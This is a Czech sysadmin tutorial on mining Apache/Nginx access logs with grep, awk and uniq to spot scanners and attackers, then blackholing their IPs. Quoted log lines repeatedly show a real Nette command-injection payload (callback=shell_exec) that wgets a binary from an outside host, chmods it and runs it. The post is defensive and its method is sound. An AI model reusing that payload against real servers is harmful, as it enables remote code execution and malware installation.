Dnes se podíváme na to, jak pomocí pár základních příkazů v Linuxu prohledat logy Apache nebo Nginx a najít zdroj útoků na prezentaci.
Co budeme potřebovat? S přehledem si vystačíme s příkazy awk, cat, grep, ip, sort, tail, uniq, wc, whois a xargs.
Tak a pojďme na to.
Dejme tomu, že logy Apache máme v nějakém adresáři /var/log/apache2/neco/neco2/neco3/neco4/neco5/ a tam máme X různých access logů. Takže pro účely hledání to zjednodušíme na /var/log/apache2/*/*/*/*/*/a*
Také to můžete být třeba jenom jeden log Nginx např. /var/log/nginx/access.log
Pokud provozujeme desítky WordPress prezentací, tak server spolehlivě přetíží hledání neexistujícího obsahu. WordPress pro každou 404 stránku generuje obsah jako pro jakoukoli jinou stránku. Bez rozumné cache spolehlivě uštvete databázi.
Takže se pojďme podívat na vyhledání 404 v logu.
Protože mám nastavený “custom” tvar logu, tak je potřeba se napřed podívat co v tom logu vlastně je – např.:
sxxxxxxxxxxa.cz 216.244.66.199 - - [25/Feb/2022:13:52:32 +0100] "GET /robots.txt HTTP/1.1" 200 101 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
Co nás z toho zajímá? První sloupec je název domény (název jsem pozměnil), druhý IP ze které přišel požadavek, osmý je požadovaný soubor, desátý je status code.
Takže můžeme spustit např.
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a*
V mém případě je výsledek 9742 vypsaných řádků a to rozhodně procházet nehodlám.
Můžeme odstranit z výsledků nejčastější neexistující soubory (rychlým pohledem na výpis tam mám /favicon.ico a /robots.txt). Takže např. můžeme pustit:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt
Výsledek má 8119 řádků, takže tudy cesta nevede.
Tak pojďme počítat. Ve druhém sloupci máme IP ze které přišel požadavek. Tady se nám hodí awk. Použijeme awk ‚{print $2}‘, což nám vypíše pouze obsah druhého sloupce. Pak výsledek seřadíme, spočítáme unikátní výsledky a nakonec seřadíme vzestupně. Výsledný příkaz vypadá následovně:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n
V mém případě to je 573 řádků, tak si vypíšeme jenom pár posledních pomocí tail:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail
# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail
49 45.146.165.37
49 54.174.1.89
59 213.155.230.216
66 87.251.85.227
68 5.188.62.214
85 103.1.212.247
99 51.91.7.5
976 118.175.245.202
2369 46.101.63.152
2508 89.201.119.99
Tady už máme první použitelné výsledky. Podíváme se do logu, co za požadavky chodí z IP 89.201.119.99. Protože nás v zásadě nezajímá ve kterém z logů se ta IP vyskytuje, použijeme parametr -h u příkazu grep:
# grep -h 89.201.119.99 /var/log/apache2/*/*/*/*/*/a* | tail
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:18 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 223 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:23 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
A zcela očekávaně jsme našli nějaký “scanner” který hledá na našem serveru zneužitelné skripty. Takže se podíváme komu ta IP patří:
# whois 89.201.119.99
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '89.201.112.0 - 89.201.119.255'
% Abuse contact for '89.201.112.0 - 89.201.119.255' is 'core@baltcom.lv'
inetnum: 89.201.112.0 - 89.201.119.255
netname: MBALT-NET
descr: MultitoneBalt
country: LV
admin-c: BTV777-RIPE
tech-c: BTV777-RIPE
status: ASSIGNED PA
mnt-by: BALTKOM-MNT
created: 2007-10-19T09:07:01Z
last-modified: 2013-01-03T09:26:40Z
source: RIPE
role: SIA Baltcom
address: Latvia, Riga, Maskavas 322
nic-hdl: BTV777-RIPE
mnt-by: BALTKOM-MNT
created: 2012-11-09T10:41:07Z
last-modified: 2021-12-09T09:25:07Z
source: RIPE # Filtered
abuse-mailbox: core@baltcom.lv
% Information related to '89.201.0.0/17AS20910'
route: 89.201.0.0/17
descr: BALTKOM
descr: Riga, Latvia
origin: AS20910
mnt-by: BALTKOM-MNT
created: 2006-05-15T14:44:07Z
last-modified: 2006-05-15T14:44:07Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.102.2 (HEREFORD)
Můžeme se podívat, co je to za stroj, co na něm běží a napsat e-mail na abuse contact, ale z mé mnohaleté zkušenosti můžu prohlásit, že je to ztráta času. Pokud vůbec někdo odpoví, tak maximálně to, že pokud nemám v ruce soudní příkaz, tak s tím nic nebudou dělat.
Takže čistě jenom pro zajímavost se podíváme, co na dané IP běží:
# nmap -sS 89.201.119.99
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-25 15:02 CET
Nmap scan report for 89.201.119.99
Host is up (0.036s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp closed ssh
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
8081/tcp open blackice-icecap
8899/tcp closed ospf-lite
Nmap done: 1 IP address (1 host up) scanned in 4.96 seconds
Takže viditelně nějaký VPS s nějakými weby. Další krok? Zablokovat IP na firewallu. Stejný postup použijeme pro další IP ze seznamu. Většinou je na první pohled vidět, o co se jedná:
# grep -h 118.175.245.202 /var/log/apache2/*/*/*/*/*/a* | tail
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:26 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sql/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /SQL/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /websql/index.php HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:28 +0100] "GET /manager/html HTTP/1.1" 404 210 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "POST /axis2/axis2-admin/login HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /jenkins/login HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
Protože pro aktivní zneužití se nejčastěji využívaji POST požadavky, můžeme prohledat logy na výskyt 404 a POST (musel jsem vyloučit autodiscover.xml kvůli chybnému nastavení MS Exchange serveru na jedné z domén na serveru):
# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep POST | grep -v autodiscover.xml | awk '{print $2}' | sort | uniq -c | sort -n | tail
2 95.80.217.226
3 185.19.1.114
3 91.102.224.108
3 91.102.224.113
4 15.188.158.194
4 176.98.43.37
5 2a00:19a0:3:72:0:d9c6:72b9:1
5 65.21.134.110
21 216.83.55.14
29 111.67.203.51
Ta čísla jsou řádově nižší, ale výsledky jsou užitečnější:
# grep -h 111.67.203.51 /var/log/apache2/cronolog-output/2022/*/*/*/a* | tail -n 30
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:45 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/12132**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11456**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/16791**
lixxxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11702**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/29741**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/26362**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/24425**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:48 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/25277**
nidxxxr.cz 111.67.203.51 - - [25/Feb/2022:14:36:04 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 503 981 "-" "python-requests/2.27.1" **0/48295**
solaxxxal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 302 - "-" "python-requests/2.27.1" **0/11791**
solaxxxbal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET / HTTP/1.1" 200 11757 "-" "python-requests/2.27.1" **0/32621**
zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:06 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/115705**
zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:07 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 8019 "-" "python-requests/2.27.1" **0/20643**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/40948**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/65488**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:24 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/53445**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:25 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/76488**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:27 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 217 "-" "python-requests/2.27.1" **0/28420**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/54503**
csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:42:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/81350**
csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:43:10 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/68099**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:36 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 224 "-" "python-requests/2.27.1" **0/48305**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:37 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3802 "-" "python-requests/2.27.1" **0/36884**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:52 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 223 "-" "python-requests/2.27.1" **0/23975**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:53 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3804 "-" "python-requests/2.27.1" **0/36225**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:58 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 226 "-" "python-requests/2.27.1" **0/20194**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 302 113 "-" "python-requests/2.27.1" **0/34464**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/?_fid=8p29 HTTP/1.1" 200 7334 "-" "python-requests/2.27.1" **0/36501**
rezerxxxany.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 2410 "-" "python-requests/2.27.1" **0/56610**
edexxxxxny.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 4902 "-" "python-requests/2.27.1" **0/58858**
Podtrženo, sečteno, slepé útoky jsou velmi snadno odhalitelné a dá se jim dobře bránit. Pokud nemáte před svým serverem firewall, nebo nemáte možnost blokovat útoky na hraničním routeru, tak nejjednodušší cestou jak blokovat nežádoucí provoz je routovat provoz z útočníkovy IP do blackhole.
Takže z předchozího příkladu máme 100% vzor podle kterého můžeme blokovat útok. Vybereme požadavky z IP obsahující shell_exec a chmod.
# cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq -c | sort -n
24 219.77.31.84
28 209.141.32.37
55 111.67.203.51
86 103.172.125.63
430 2407:d340:f020::5b39:5962
Nic nám nebrání ty IP rovnou zablokovat:
Upravíme příkaz, tak aby nám zbyly jenom IP
cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq
a přidáme routovací pravidla do blackhole. Celé to pak vypadá následovně:
cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq | xargs -n1 ip route add blackhole
Můžeme pro jistotu zkontrolovat, jestli to funguje:
# ip -6 route show | grep 2407:d340:f020::5b39:5962
blackhole 2407:d340:f020::5b39:5962 dev lo metric 1024 pref medium
Dva příkazy, co se můžou hodit. Odstraní všechny IPv6 a IPv4 z blackhole routingu:
ip -6 route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip -6 route del blackhole
ip route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip route del blackhole
Na závěr snad jenom malé varování. Než pustíte jakýkoliv skript který přímo blokuje IP, prověřte že hledaný vzor je opravdu dostatečně unikátní.
